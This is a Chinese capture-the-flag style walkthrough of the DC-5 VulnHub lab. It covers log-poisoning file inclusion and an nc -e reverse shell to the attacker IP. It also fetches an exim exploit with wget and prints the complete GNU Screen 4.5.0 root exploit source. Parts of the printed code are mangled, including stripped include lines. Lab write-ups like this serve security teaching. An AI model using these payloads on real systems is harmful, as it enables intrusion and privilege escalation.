DC5

admin 2025年2月17日12:54:24评论6 views字数 2648阅读8分49秒阅读模式

DC5

靶机地址:https://www.vulnhub.com/entry/dc-5,314/

攻击者ip:192.168.56.108 桥接(自动) vmare

受害者IP:192.168.56.118 仅主机 vmbox

参考:https://www.freebuf.com/articles/web/320770.html

主机发现

DC5

端口扫描

DC5

目录爆破

DC5

footer.php,DC5

发现有留言框,试了一下sql注入,xss,无果

通过刷新发现下面的日期会变

刷新日期会动,说明thankyou包含了footer.php,可能存在文件包含漏洞

DC5

DC5

用burpsuite遍历一下代码中动态变量名

得知变量名是file

DC5

DC5

DC5

验证漏洞

DC5

在url插入一句马然后访问日志文件

DC5

wappalyzer和nmap,中间件是nginx

DC5

参考:https://blog.csdn.net/li1325169021/article/details/118468404

nginx日志包括error.log和access.log ;            /var/log/nginx/error.log            error.log主要记录nginx处理http请求的错误状态以及nginx本身错误服务的运行状态;            /var/log/nginx/access.log            access.log 主要记录nginx处理http请求的访问状态,主要用于分析每次的访问请求、和客户端的交互以及对行为的一些分析;            

/thankyou.php?file=/var/log/nginx/access.log

DC5

蚁剑上线

DC5

反弹shell

nc -e /bin/bash 192.168.56.108 2222            python -c 'import pty; pty.spawn("/bin/bash")'            

DC5

使用find命令查看拥有suid权限的文件

find / -perm -u=s -type f2>/dev/null            find / -user root -perm -4000 -print 2>/dev/null            

发现exim4

DC5

查看版本

exim4 --version

DC5

searchsploit exim 4

查看历史版本漏洞

DC5

cp /usr/share/exploitdb/exploits/linux/local/39535.sh /var/www/html

cd tmp

wget http://192.168.56.108//39535.sh

chmod 777 39535.sh

./39535.sh

发现/usr/exim/bin/exim: not found 没找到exim

DC5

查看一下源码

PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps            这是一个Perl命令,用于启动Exim邮件服务器。其中:            PERL5LIB=/tmp:设置Perl库的搜索路径为/tmp目录。            PERL5OPT=-Mroot:设置Perl选项,-Mroot表示以root用户身份运行。            /usr/exim/bin/exim -ps:指定要执行的命令,这里是启动Exim邮件服务器并传递参数-ps。            

DC5

没有exim,就找exim

find / -name exim

/usr/sbin/exim

DC5

修改源码,失败了

PERL5LIB=/tmp PERL5OPT=-Mroot /usr/sbin/exim -ps

DC5

查看该用户有什么root权限命令

find / -perm -u=s -type f 2>/dev/null

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

DC5

搜漏洞

searchsploit screen 4.5.0

DC5

DC5

第一步:将第一部分的C代码写入到libhax.c文件中,在执行相应的命令生成libhax.so文件,然后删除libhax.c文件

mkdir dc5

cd dc5

创建dc5文件夹存放三个部分的脚本

按照脚本提示,先将第一部分内容写到libhax.c中(一共有三个部分)

使用命令vim创建第一个libhax.c

#include#include#include__attribute__ ((__constructor__))         void dropshell(void){         chown("/tmp/rootshell", 0, 0);         chmod("/tmp/rootshell", 04755);         unlink("/etc/ld.so.preload");         printf("[+] done!n");         }         

DC5

第二步:将一部分代码写入rootshell.c中,编译一下,然后删除rootshell.c文件

#includeint main(void){       setuid(0);       setgid(0);       seteuid(0);       setegid(0);       execvp("/bin/sh", NULL, NULL);       }       

vim rootshell.c            gcc -o rootshell rootshell.c            rm rootshell.c            

DC5

第三步:将剩下部分的脚本代码写入到dc5.sh文件中,在开头加上#!/bin/bash注明执行环境

#!/bin/bash            echo "[+] Now we create our /etc/ld.so.preload file..."            cd /etc            umask 000 # because            screen -D -m -L ld.so.preload echo -ne"x0a/tmp/libhax.so" # newline needed            echo "[+] Triggering..."            screen -ls # screen itself is setuid, so...            

DC5

将这三个文件上传到靶机,给权限运行

cp dc5.sh /var/www/html            cp libhax.so /var/www/html            cp rootshell /var/www/html            

DC5

DC5

原文始发于微信公众号(王之暴龙战神):DC5

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日12:54:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DC5https://cn-sec.com/archives/3750371.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息